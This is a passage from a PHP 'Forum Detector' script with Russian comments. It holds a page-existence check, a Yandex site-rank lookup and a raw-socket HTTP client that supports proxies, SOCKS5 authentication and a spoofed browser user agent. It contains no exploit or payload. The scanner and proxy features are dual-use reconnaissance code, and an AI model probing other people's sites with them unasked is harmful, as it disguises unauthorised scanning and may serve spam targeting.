die('<hr><b>Scan complete.</b><hr><a href="?">Анализировать еще форум...</a></body></html>');


function print_flush($txt)
{
  print $txt;
  ob_flush();
  flush();
}

function found($ret)
{
  if(strpos($ret[0],'404')===false && strpos($ret[1],'<title>404')===false && strpos($ret[1],'<TITLE>The page cannot be found</TITLE>')===false && strpos($ret[0],'302')===false && strpos($ret[0],'301')===false)
    return true;

  return false;
}

function get_prcy($domain)
{
  $s=new websock('bar-navig.yandex.ru','80',false);
  $ret=$s->get('/u?ver=2&show=32&url=http://'.$domain);
  return preg_match('/<tcy rang="(\d+)" value="(\d+)"/is',$ret[1],$m) ? Array($m[1],$m[2]) : Array(0,0);
}


/* WEBsock class by DX */

class websock
{
  /*все переменные private*/
  var $sock;
  var $connection=0;
  var $keepalive=300;
  var $request='';
  var $browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0';
  var $proto='1.0';
  var $addr='';
  var $success=0;
  var $proxy='';
  var $pport=0;
  var $port=0;
  var $s_addr='';
  var $s_port=0;
  var $use_lowlevel_socks=true;
  var $fsock_err='';
  var $auto_unzip=true;
  var $unzipped=false;
  var $proxy_add_str='';
  var $is_socks5=false;
  var $s_user='';
  var $s_pass='';


  /*** Конструктор. $addr - адрес или IP сайта, $port - порт. ***/

  function websock($addr,$port=80,$use_lowlevel_socks=true)
  {
    if(!function_exists('socket_create') && $use_lowlevel_socks)
      return;

    $this->addr=$addr;
    $this->s_addr=$addr;
    $this->s_port=$port;
    $this->use_lowlevel_socks=$use_lowlevel_socks;


    if($this->use_lowlevel_socks)
    {
      if(!preg_match("/^(\d{1,3}\.){3}\d{1,3}$/",$addr))
        $addr=gethostbyname($addr);

      if(!$addr) return;

      $this->sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

      if(!$this->sock)
        return;
    }

    $this->success=1;
  }

  function set_autounzip($au=true)
  {
    $this->auto_unzip=$au ? true : false;
    return true;
  }

  function get_unzipped()
  {
    return $this->unzipped;
  }


  function get($service_uri='/',$params='',$cookie='',$ref='')
  {
    $this->sconnect();
    $this->get_header($service_uri,'',$params,'GET',$cookie,$ref);
    $this->swrite();
    $ret=$this->http11read();
    $this->sclose();
    return $ret;
  }

  function post($service_uri='/',$params='',$cookie='',$ref='')
  {
    $this->sconnect();
    $this->get_header($service_uri,'',$params,'POST',$cookie,$ref);
    $this->swrite();
    $ret=$this->http11read();
    $this->sclose();
    return $ret;
  }


  /*** Подключает сокет (через прокси или напрямую). ***/

  function sconnect()
  {
    if($this->use_lowlevel_socks)
    {
      if($this->proxy)
      {
        if(!socket_connect($this->sock,$this->proxy,$this->pport)) return false;

        if($this->is_socks5) return $this->authorize();
      }
      else
      {
        if(!socket_connect($this->sock,$this->s_addr,$this->s_port)) return false;
      }

      if(!socket_set_nonblock($this->sock)) return false;
    }
    else
    {
      if($this->proxy)
      {
        $this->sock=fsockopen("tcp://".$this->proxy,$this->pport,$errno,$errstr,30);
        $this->fsock_err=$errno.': '.$errstr;
        if(!$this->sock) return false;

        if($this->is_socks5) return $this->authorize();
      }
      else
      {
        $this->sock=fsockopen("tcp://".$this->s_addr,$this->s_port,$errno,$errstr,30);
        $this->fsock_err=$errno.': '.$errstr;
        if(!$this->sock) return false;
      }
    }

    return true;
  }




  /*** Автоматически авторизует скрипт, если используются socks5. ***/

  function authorize()
  {
    $h=pack("H*",'05020002');
    $this->swrite($h);
    $result=bin2hex($this->sread(4));

    if($result=='0502')
    {
      $len_login=chr(strlen($this->s_user));
      $len_pass=chr(strlen($this->s_pass));
  
      $h=pack("H*","01").$len_login.$this->s_user.$len_pass.$this->s_pass;
      $this->swrite($h);
      
      $result=bin2hex($this->sread(4));

      if($result{3}!=0)
        return false;
    }
    else if($result!='0500')
    {
      return false;
    }

    $len_h=chr(strlen($this->s_addr));
    $h=pack("H*","05010003").$len_h.$this->s_addr.pack("n",$this->s_port);
    $this->swrite($h);
      
    $result=bin2hex($this->sread(100));

    if($result{3}==0)
      return true;
  }


  /*** Устанавливает прокси с ip $addr и портом $port и данными для авторизации. ***/

  function set_proxy($addr,$port,$user='',$pass='')
  {
    $this->proxy=$addr;
    $this->pport=$port;
    $this->is_socks5=false;

    if(strlen($user)>0 || strlen($pass)>0)
      $this->proxy_add_str='Proxy-Authorization: Basic '.base64_encode($user.':'.$pass)."\r\n";
    else
      $this->proxy_add_str='';


    return true;
  }


  /*** Устанавливает socks5-сервер с ip $addr и портом $port и данными для авторизации. ***/

  function set_socks5($addr,$port,$user='',$pass='')
  {
    $this->proxy=$addr;
    $this->pport=$port;
    $this->is_socks5=true;
    $this->s_user=$user;
    $this->s_pass=$pass;

    return true;
  }


  /*** Проверка успешности создания сокета и подключения к нему. ***/

  function check_success()
  {
    return $this->success;
  }


  /*** Запись в сокет. $data - данные для записи в сокет. Возвращает число байт, записанных в сокет. Если $data не указано, то будет записаны заголовки, созданные функцикей get_header() (см. ниже). ***/

  function swrite($data='')
  {
    if(!$data) $data=$this->request;

    if($this->use_lowlevel_socks)
    {
      if(socket_select($r=NULL,$w=array($this->sock),$f=NULL,5)!=1)
        return false;

      return socket_write($this->sock,$data);
    }
    else
    {
      return fwrite($this->sock,$data);
    }
  }


  /*** Чтение $bytes байт из сокета. Возвращает считанный контент. ***/

  function sread($bytes)
  {
    if($this->use_lowlevel_socks)
    {
      if(socket_select($r=array($this->sock),$w=NULL,$f=NULL,5)!=1)
        return false;

      return socket_read($this->sock,$bytes);
    }
    else
    {
      return fread($this->sock,$bytes);
    }
  }


  /*** Чтение из сокета всего доступного содержимого. Эта функция не работает с HTTP/1.1. $stepbytes - сколько байтов считывать за раз. Возвращает считанный контент. ***/

  function sreadfull($stepbytes=128)
  {
    $reading='';

    while(($ret=$this->sread($stepbytes))!='')
    {
      $reading.=$ret;
    }

    $reading=$this->get_content_headers($reading);

    if($this->auto_unzip)
    {
      if(strpos($reading[0],'Content-Encoding: gzip')!==false)
      {
        $this->unzipped=true;
        $reading[1]=$this->gzBody($reading[1]);
      }
      else
      {
        $this->unzipped=false;
      }
    }

    return $reading;
  }





  /*** Установка типа соединения. $conn==0 - close, $conn==1 - keep-alive; $keepalive - время поддержки соединения. ***/

  function set_connection($conn=0,$keepalive=300)
  {
    $this->connection=$conn==0 ? 0 : 1;
    $this->keepalive=$keepalive;
    return true;
  }

  function set_proto($proto='1.0') //set 1.0 or 1.1
  {
    $this->proto= ($proto=='1.0' || $proto=='1.1') ? $proto : '1.0';
    return true;
  }


  /*** Универсальная функция чтения из сокета, читает правильно независимо от типа соединения. Возвращает массив: $c[0] - заголовки, $c[1] - содержимое ***/

  function http11read($stepbytes=128)
  {
    $c=$this->sreadfull($stepbytes);

    if(strpos($c[0],'Transfer-Encoding: chunked')!==false)
      return array($c[0],$this->remove_lengths($c[1]));
    else
      return $c;
  }


  /*** Получение cookies из заголовка ответа сервера и представление их в виде, удобном для вставки в заголовок Cookie. ***/
  /*** $header - заголовок ответа сервера; $ret==0 - будет возвращена строка для заголовка Cookie, $ret==1 - будет возвращён массив cookies. ***/

  function get_cookie($header,$ret=0)
  {
    preg_match_all("/Set-Cookie: (.+)(;|\r)/iUs",$header,$cook);
    if(!isset($cook[1])) return $ret==0 ? '' : array();

    $carr=array_unique($cook[1]);

    $cookies=implode('; ',$carr);
    return $ret==0 ? $cookies : $carr;
  }


  /*** Обрабатывает страницу с Transfer-encoding: chunked. Возвратит страницу без разбиений. ***/

  function remove_lengths($res)
  {
    $len=1;
    $nlen=0;
    $curlen=0;
    $ret='';

    $tmp=explode("\r\n",$res);

    foreach($tmp as $line)
    {
      if($len==1)
      {
        if($line=="\r\n")
        {
          $ret.=$line."\r\n";
          continue;
        }

        $nlen=base_convert($line,16,10);
        if($nlen==0) continue;
        $len=0;
        $curlen=0;
        continue;
      }

      $curlen+=strlen($line."\r\n");

      $ret.=$line."\r\n";

      if($curlen>=$nlen)
      {
        $len=1;
        continue;
      }
    }

    return $ret;
  }


  /*** Разбивает полученные данные на заголовок и содержимое. $res - весь контент. Возвратит массив: $ret[0] - заголовки, $ret[1] - содержимое. ***/

  function get_content_headers($res)
  {
    $ret=explode("\r\n\r\n",$res,2);
    return $ret;
  }


  /*** Устанавливает виртуальный браузер. ***/

  function set_browser($browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0')
  {
    $this->browser=$browser;
    return true;
  }


  /*** Формирует заголовки для записи в сокет. ***/
  /*** $service_uri - SERVICE_URI. Например, для http://site.com/aaa/bbb.php это /aaa/bbb.php ***/
  /*** $page - страница. Для примера выше это site.com. Если сокет был создан как new websock('site.com'), то страницу можно не указывать. Если же как new websock('1.2.3.4'), то необходимо указывать. ***/
  /*** $data - передаваемые скрипту данные (только для POST) ***/
  /*** $method - GET/POST и т.д. ***/
  /*** $cookie - cookies в виде строки ***/
  /*** $ref - Referer ***/
  /*** $addheaders - дополнительные заголовки, которые мы хотим установить ***/
  /***  Возвращает запрос и устанавливает его как запрос по умолчанию. ***/

  function get_header($service_uri,$page='',$data='',$method='GET',$cookie='',$ref='',$addheaders='')
  {
    if(!$page) $page=$this->addr;

    if($method=='GET' && strlen($data)>0)
    {
      $service_uri.='?'.$data;
      $data='';
    }

    if($this->proxy && !$this->is_socks5)
      $request="$method http://{$this->s_addr}:{$this->s_port}$service_uri HTTP/{$this->proto}\r\n";
    else
      $request="$method $service_uri HTTP/{$this->proto}\r\n";

    $request.=$this->proxy_add_str;

    $request.="Host: $page\r\n";
    if($this->browser) $request.="User-Agent: {$this->browser}\r\n";
    if($ref) $request.="Referer: $ref\r\n";

    if($method=='POST')
    {
      $request.="Content-Type: application/x-www-form-urlencoded\r\n";
      $request.="Content-Length: ".strlen($data)."\r\n";
    }

    if($this->connection==0)
    { 
      $request.="Connection: close\r\n";
    }
    else
    {
      $request.="Keep-alive: {$this->keepalive}\r\n";
      $request.="Connection: keep-alive\r\n";
    }

    if($addheaders)
      $request.=$addheaders;


    if($cookie)
      $request.="Cookie: $cookie\r\n";

    $request.="\r\n";

    $request.=$data;

    $this->request=$request;

    return $request;
  }


  /*** Закрывает соединение ***/

  function sclose()
  {
    return $this->use_lowlevel_socks ? socket_close($this->sock) : fclose($this->sock);
  }


  /*** Возвращает последнюю ошибку работы с сокетами. ***/

  function serr()
  {
    return $this->use_lowlevel_socks ? socket_last_error($this->sock) : $this->fsock_err;
  }


  function gzBody($gzData)
  {
    if(substr($gzData,0,3)=="\x1f\x8b\x08")
    {
      $i=10;
      $flg=ord(substr($gzData,3,1));
      if($flg>0)
      {
        if($flg&4)
        {
          list($xlen)=unpack('v',substr($gzData,$i,2));
          $i=$i+2+$xlen;
        }

        if($flg&8) $i=strpos($gzData,"\0",$i)+1;
        if($flg&16) $i=strpos($gzData,"\0",$i)+1;
        if($flg&2) $i=$i+2;
      }

      return gzinflate(substr($gzData,$i,-8));
    }
    else
      return false;
  }
}

?>

Рабочая версия скрипта на нашем сервере Forum Detector (Online)